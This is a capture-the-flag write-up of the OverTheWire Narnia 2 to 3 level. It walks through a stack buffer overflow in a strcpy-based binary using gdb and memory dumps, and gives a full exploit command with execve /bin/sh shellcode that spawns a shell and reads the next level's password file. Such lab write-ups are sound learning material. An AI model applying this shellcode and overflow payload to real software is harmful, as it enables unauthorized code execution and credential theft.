Overthewire.org - Narnia 2 -> 3


What about another challenge in reverse engineering? Anywhere, anytime!

Challenge

As always, let's start from viewing the source code.

int main(int argc, char * argv[]){
	char buf[128];

	if(argc == 1){
		printf("Usage: %s argument\n", argv[0]);
		exit(1);
	}
	strcpy(buf,argv[1]);
	printf("%s", buf);

	return 0;
}

Okay, now let's run it.

[email protected]:/narnia$ ./narnia2
Usage: ./narnia2 argument
[email protected]:/narnia$ ./narnia2 ARGUMENT
[email protected]:/narnia$

As in the source code, we see that if argument is not passed, then usage instructions are printed, otherwise value of argument is printed on the next line. In addition, source code gives us information that char buf is 128 bytes in size. Let's try to trigger the segmentation fault.

[email protected]:/narnia$ ./narnia2 $(python -c "print 'A' * 140")
Illegal instruction
[email protected]:/narnia$ ./narnia2 $(python -c "print 'A' * 141")
Segmentation fault

Hmm, that's interesting. After trying different amounts of A letters, I've noticed that by writing 140 of them, we will get Illegal instruction message, but 141 letters end up with our desired Segmentation fault. Maybe gdb will tell us something more?

[email protected]:/narnia$ gdb ./narnia2
(gdb) break *main
Breakpoint 1 at 0x804845d

Firstly let's investigate the illegal instruction option.

(gdb) run $(python -c "print 'A' * 140")
Starting program: /games/narnia/narnia2 $(python -c "print 'A' * 140")

Breakpoint 1, 0x0804845d in main ()
(gdb) c
Continuing.

Program received signal SIGILL, Illegal instruction.
0xf7e3ca00 in __libc_start_main () from /lib32/libc.so.6
(gdb) c
Continuing.

Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.

Unfortunately after doing some research I've found out that SIGILL won't help us much. What we have to try is to overwrite the instruction pointer.

(gdb) run $(python -c "print 'A' * 144")
Starting program: /games/narnia/narnia2 $(python -c "print 'A' * 144")

Breakpoint 1, 0x0804845d in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.

Luckily, adding only 3 more A's overwrote the pointer. But here comes another problem, what is its address?

We can try to find out by writing around B's at the end. Let's see.

(gdb) run $(python -c "print 'A' * 138 + 'B' * 6")
Starting program: /games/narnia/narnia2 $(python -c "print 'A' * 138 + 'B' * 6")

Breakpoint 1, 0x0804845d in main ()
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/200x $esp
0xffffd7f0:	0x00000000	0x00000000	0xb7000000	0x9449f175
0xffffd800:	0xb7857a44	0x6da4653e	0x69a15cf3	0x00363836
0xffffd810:	0x00000000	0x6d61672f	0x6e2f7365	0x696e7261
0xffffd820:	0x616e2f61	0x61696e72	0x41410032	0x41414141
0xffffd830:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd840:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd850:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd860:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd870:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd880:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd890:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd8a0:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd8b0:	0x41414141	0x42424242	0x58004242	0x535f4744

Great! EIP address is 0xffffd8b3. Now we have to find a way to use shellcode from previous challenge. But firstly, let's find its length.

[email protected]:/narnia$ python -c'print(len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"))'
25

25 bytes. As our string have to be 144 bytes in length, I'll firstly write 112 bytes of A letters, then 25 bytes of our shellcode and then overwrite the EIP with memory address somewhere in the middle of A's. Let's try it out!

(gdb) run $(python -c "print 'A' * 112 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'B' * 4")
Starting program: /games/narnia/narnia2 $(python -c "print 'A' * 112 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + 'B' * 4")

(gdb) x/200x $esp
0xffffd7f0:	0x00000000	0x00000000	0x4d000000	0x2bdc9c96
0xffffd800:	0xd596f713	0x775b1954	0x6969a442	0x00363836
0xffffd810:	0x00000000	0x6d61672f	0x6e2f7365	0x696e7261
0xffffd820:	0x616e2f61	0x61696e72	0x41410032	0x41414141
0xffffd830:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd840:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd850:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd860:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd870:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd880:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffd890:	0x41414141	0x41414141	0xc0314141	0x2f2f6850
0xffffd8a0:	0x2f686873	0x896e6962	0x89c189e3	0xcd0bb0c2
0xffffd8b0:	0x40c03180	0x424280cd	0x58004242	0x535f4744
0xffffd8c0:	0x49535345	0x495f4e4f	0x30323d44	0x33323431
0xffffd8d0:	0x45485300	0x2f3d4c4c	0x2f6e6962	0x68736162
0xffffd8e0:	0x52455400	0x74783d4d	0x2d6d7265	0x63363532
0xffffd8f0:	0x726f6c6f	0x48535300	0x494c435f	0x3d544e45
0xffffd900:	0x362e3938	0x36312e34	0x3732312e	0x30333320
0xffffd910:	0x32203434	0x53530032	0x54545f48	0x642f3d59
0xffffd920:	0x702f7665	0x342f7374	0x434c0033	0x4c4c415f

Great, we can see that even with the shellcode B's overwrote the EIP. Now let's try it with the actuall address - somewhere in the middle of the A letters. Maybe 0xffffd863?

[email protected]:/narnia$ ./narnia2 $(python -c "print 'A' * 112 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80' + '\x63\xd8\xff\xff'")
$ whoami
narnia3
$ cat /etc/narnia_pass/narnia3

And we've got the password to the next level!

Conclusion

The challenge was awesome, but really time consuming. It was worth every minute as I learned a lot from trying out these different ways to finish this level. Thanks OverTheWire!

Keep learning and stay safe! ~ W3ndige